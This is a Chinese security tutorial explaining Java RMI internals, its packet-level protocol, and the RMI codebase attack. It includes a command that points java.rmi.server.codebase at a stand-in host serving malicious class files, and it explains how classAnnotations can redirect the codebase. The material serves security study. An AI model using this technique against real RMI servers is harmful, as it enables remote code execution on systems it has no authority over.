Java中RMI (Remote Method Invocation,远程方法调用) 模型的介绍及应用
RMI的过程分析
RMI (Remote Method Invocation
,远程方法调用) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM(java虚拟机) 中的对象调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server
端和一个 Client
端。
这里首先编写一个 RMI Server
1 | package org.vulhub.RMI; |
这段代码是一个简单的 Java RMI(远程方法调用)示例,我们来仔细的分析一下这段代码
public interface IRemoteHelloWorld extends Remote { ... }
:- 这是一个远程接口,它扩展了
Remote
接口。在 RMI 中,远程接口定义了客户端和服务器之间可以调用的远程方法。这部分算第一个部分,继承接口,定义远程调用函数hello()
- 这是一个远程接口,它扩展了
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { ... }
:- 这是一个远程对象类,它实现了远程接口
IRemoteHelloWorld
。在 RMI 中,远程对象是服务器上的对象,它包含了远程方法的实现。这是第二个部分,实现了此接口的类。
- 这是一个远程对象类,它实现了远程接口
private void start() throws Exception { ... }
:- 这是一个私有方法,用于启动 RMI 服务器。在方法内部,首先创建了一个
RemoteHelloWorld
对象,然后使用LocateRegistry.createRegistry(1099)
创建了 RMI 注册表,该注册表将在本地主机的 1099 端口上监听远程方法调用。最后,使用Naming.rebind("rmi://127.0.0.1:1099/Hello", h)
将远程对象绑定到注册表中,以便客户端可以通过指定的 URL 访问远程对象。
- 这是一个私有方法,用于启动 RMI 服务器。在方法内部,首先创建了一个
public static void main(String[] args) throws Exception { ... }
:- 这是主方法,用于启动 RMI 服务器。在方法内部,创建了一个
RMIServer
对象,并调用了其start()
方法来启动 RMI 服务器。这个和上面那段算作是第三部分,主类,创建Registry
,将类实例化之后绑定到一个地址。
- 这是主方法,用于启动 RMI 服务器。在方法内部,创建了一个
总的来说,这段代码实现了一个简单的 RMI 服务器,该服务器提供了一个名为 “Hello” 的远程对象,客户端可以通过 RMI 调用该对象的 hello()
方法来获取 “Hello world” 字符串。
这段代码只有在客户端连接的时候才会调用hello()
方法,才会有输出,但是如果我们想知道这个代码有没有被执行的话怎么办呢,我们可以自己手动添加输出代码,这样就可以知道有没有执行了,代码如下:
1 | private void start() throws Exception { |
好,那么 RMI Server
的编写和结构介绍完了,接下来我们就介绍一下 RMI Client
,这个客户端和前面的服务端对应
1 | package org.vulhub.Train; |
运行成功之后会发现客户端输出了 Hello world
,服务端输出了 call from
我们来分析一下客户端的代码,客户端代码很简单,主要就是在方法内部,我们首先使用 Naming.lookup()
方法查找在指定 URL 下绑定的远程对象,即通过 Name
向 RMI Registry
查询,并将其强制转换为远程接口类型 IRemoteHelloWorld
。然后,我们调用远程接口的 hello()
方法,获取返回的字符串并打印输出。这段代码实现了一个简单的 RMI 客户端,它连接到指定的 RMI 服务器并调用其提供的远程方法。
我们来仔细分析一下RMI的通信过程,我们来抓包看看,监听我们本地的 Loopback
回环接口
然后运行我们的两个脚本,可以看到整个过程经历了两次TCP握手
第⼀次建⽴TCP连接是连接 127.0.0.1
的1099端⼝,这也是我们在代码⾥看到的端⼝,⼆者进⾏沟通后,我向远端发送了⼀个“Call”
消息,远端回复了⼀个“ReturnData”
消息,然后新建了⼀个TCP连接,连到远端的50954
端⼝。在 RMI(远程方法调用)中,"Call"
消息和 "ReturnData"
消息是 RMI通信过程中的两种重要消息类型,它们的含义如下:
"Call"
消息:"Call"
消息是客户端发送给服务器端的消息,用于请求远程方法的调用。当客户端想要调用远程对象的方法时,它会发送一个"Call"
消息给服务器端,以触发远程方法的执行。
"ReturnData"
消息:"ReturnData"
消息是服务器端响应客户端请求的消息,用于返回远程方法调用的结果。当服务器端收到客户端的"Call"
消息后,会执行相应的远程方法,并将方法执行的结果封装成"ReturnData"
消息发送给客户端,以便客户端获取远程方法的执行结果。
所以整个过程大概为:
⾸先客户端连接Registry
,并在其中寻找Name是Hello
的对象,这个对应数据流中的Call
消息;然后Registry
返回⼀个序列化的数据,这个就是找到的Name=Hello
的对象,这个对应
数据流中的ReturnData
消息;客户端反序列化该对象,发现该对象是⼀个远程对象,地址在192.168.174.1:50954
,于是再与这个地址建⽴TCP连接;在这个新的连接中,才执⾏真正远程
⽅法调⽤,也就是hello()
。
整个过程的大致就是,服务器注册RMI服务,将对象与Name绑定,客户端通过lookup
在RMI Registry
中寻找要加载远程对象,然后再发起请求从RMI Server
上调用方法。
第一篇讲了 RMI 的整个过程和原理,那我们想一下 RMI 会给我们带来哪些安全问题呢?
P神的文章里提出了两个思考问题:
- 如果我们能访问RMI Registry服务,如何对其攻击?
- 如果我们控制了目标RMI客户端中 Naming.lookup 的第一个参数(也就是RMI Registry的地
址),能不能进行攻击?
第一个问题,怎么攻击 RMI Registry
?
首先,RMI Registry
是一个远程对象管理的地方,可以理解为一个远程对象的“后台”。我们可以尝试直
接访问“后台”功能,比如修改远程服务器上Hello对应的对象:
1 | RemoteHelloWorld h = new RemoteHelloWorld(); |
但是我们发现会报错
我们看到这里创建并运行了RMI Registry
,但是并不能绑定对象,并且产生了报错,这又是为什么呢?
因为Java对远程访问RMI Registry
做了限制,只有来源地址是localhost(127.0.0.1)
的时候,才能调用rebind、bind、unbind
等方法。不过list
和lookup
方法可以远程调用。
list
方法可以列出目标上所有绑定的对象:
1 | String[] s = Naming.list("rmi://192.168.135.142:1099"); |
lookup
作用就是获得某个远程对象。
那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用。
但是这个攻击方法的攻击力太低了,接下来介绍一个攻击力强的多的方法。
RMI相关攻击手法 – RMI利用codebase执行任意代码
这里我们就来说说 codebase
是什么。codebase
是一个地址,即url,告诉Java虚拟机我们应该从哪个地方去搜索类,codebase
通常是远程URL,比如http、ftp等。
例如,如果我们指定 codebase=http://example.com/
,然后加载 org.vulhub.example.Example
类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class
,并作为Example
类的字节码。
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH
下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase
中的类。这个和python中的导入的包也是一个道理,首先会在当前路径下寻找有没有这个包,如果没有,才是在环境变量 PYTHONPATH
中或者是Python 标准库目录下去寻找。
那这时候如果codebase
被我们控制,我们不就可以加载恶意类了吗?事实是确实是这样的,但是这个利用方法也有一定的局限性,只有满足下面两个条件才能利用这个漏洞
- 安装并配置了
SecurityManager
- Java版本低于
7u21
、6u45
,或者设置了java.rmi.server.useCodebaseOnly=false
其中java.rmi.server.useCodebaseOnly
是在Java 7u21
、6u45
的时候修改的一个默认设置。
从 Java 7 开始,由于安全考虑,官方将 java.rmi.server.useCodebaseOnly
的默认值从false
改为了 true
。当 java.rmi.server.useCodebaseOnly
配置为 true
时,Java 虚拟机将只信任预先配置好的 codebase
,不再支持从 RMI 请求中获取 codebase
信息。
但是感觉这个java版本和配置的要求现在也很少见了,但是这里涉及到第二个问题和RMI的第三篇文章,所以我们还是简单的叙述解释一下步骤一下。这里还是按照P神在文章中给出的方法。
首先建立有关 RMI Server
的4个文件
① ICalc.java
1 | import java.rmi.Remote; |
② Calc.java
1 | import java.rmi.Remote; |
③ RemoteRMIServer.java
1 | import java.rmi.Naming; |
④ client.policy
1 | grant { |
编译及运行
1 | javac *.java |
这里记得版本一定要正确,不然就会一直报错 错误: 找不到或无法加载主类
,我是用的 jdk 7u13
然后,我们再建立一个RMIClient.java
1 | import java.rmi.Naming; |
这个Client我们需要在另一个位置运行,不能将RMIClient.java
放在RMI Server
所在的目录中,因为我们需要让RMI Server
在本地CLASSPATH
里找不到类,才会去加载codebase
中的类
然后运行RMIClient
:
1 | java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient |
这里的 http://example.com
就是我们的存放着恶意字节码文件(.class文件
)的网站。
codebase传递和利用的原理
第二篇说了这个漏洞,那第三篇就来说一下这个漏洞的过程和原理
我们在执行上一个漏洞的整个流程中进行抓包,会发现进行攻击的时候,也有两个 TCP 连接:
- 本机与
RMI Registry
的通信(1099端口)- 本机与
RMI Server
的通信
我们用 tcp.stream eq 0
来筛选出本机与RMI Registry
的数据流:
我们打开协议为 RMI ,描述为 JRMI、Call
的包,看到最后有段数据由0xACED
开头,这是一段Java序列化数据。我们可以使用,SerializationDumper这个工具对Java序列化数据进行分析。
分析之后会看到用类似BNF(巴科斯范式)的形式描述的序列化数据语法。然后我们分析序列化之后的数据,可知,这一整个序列化对象,其实描述的就是一个字符串,其值是 refObj
。意思是获取远程的 refObj
对象。然后我们看一下描述为 JRMI,ReturnData
的这一个数据包。在这个数据包中,有一段数据储存在 objectAnnotation
中,这段数据记录了 RMI Server
的地址和端口,接下来就开始调用远程方法。
我们用tcp.stream eq 1
筛选出本机与RMI Server
的数据流,在这个数据流中,没有看到识别为 RMI
协议的包,我们看到其中的一个数据包是是 50 ac ed
开头,50
是指 RMI Call
,ac ed
就是指java序列化的数据,我们用上面提到的工具分析一下这段数据。
(图源于P神-java安全漫谈)
可见,我们的 codebase
是通过 [Ljava.rmi.server.ObjID
; 的 classAnnotations
传递的。所以,即使我们没有RMI的客户端,只需要修改 classAnnotations
的值,就能控制codebase
,使其指向攻击者的恶意网站。
这里介绍补充一下什么是classAnnotations
?
在序列化Java类的时候用到了一个类,叫 ObjectOutputStream
,用于将 Java 对象序列化为字节流。它继承自 OutputStream
类,并提供了一系列方法来将 Java 对象写入输出流中。这个类内部有一个方法annotateClass
, ObjectOutputStream
的子类有需要向序列化后的数据里放任何内容,都可以重写这个方法,写入你自己想要写入的数据。然后反序列化时,就可以读取到这个信息并使用。
所以说,在分析序列化数据时,如果我们看到了 classAnnotations
,那么实际上这些注解信息就是通过 annotateClass
方法写入到序列化数据中的。
换句话说,当一个类被序列化时,它的注解信息可能会被记录下来并写入序列化数据中。当我们在反序列化过程中恢复对象时,这些注解信息也会随着对象一起被读取。如果我们在分析序列化数据时看到了 classAnnotations
,那么我们可以推断这些注解信息是在序列化过程中通过 annotateClass
方法写入的。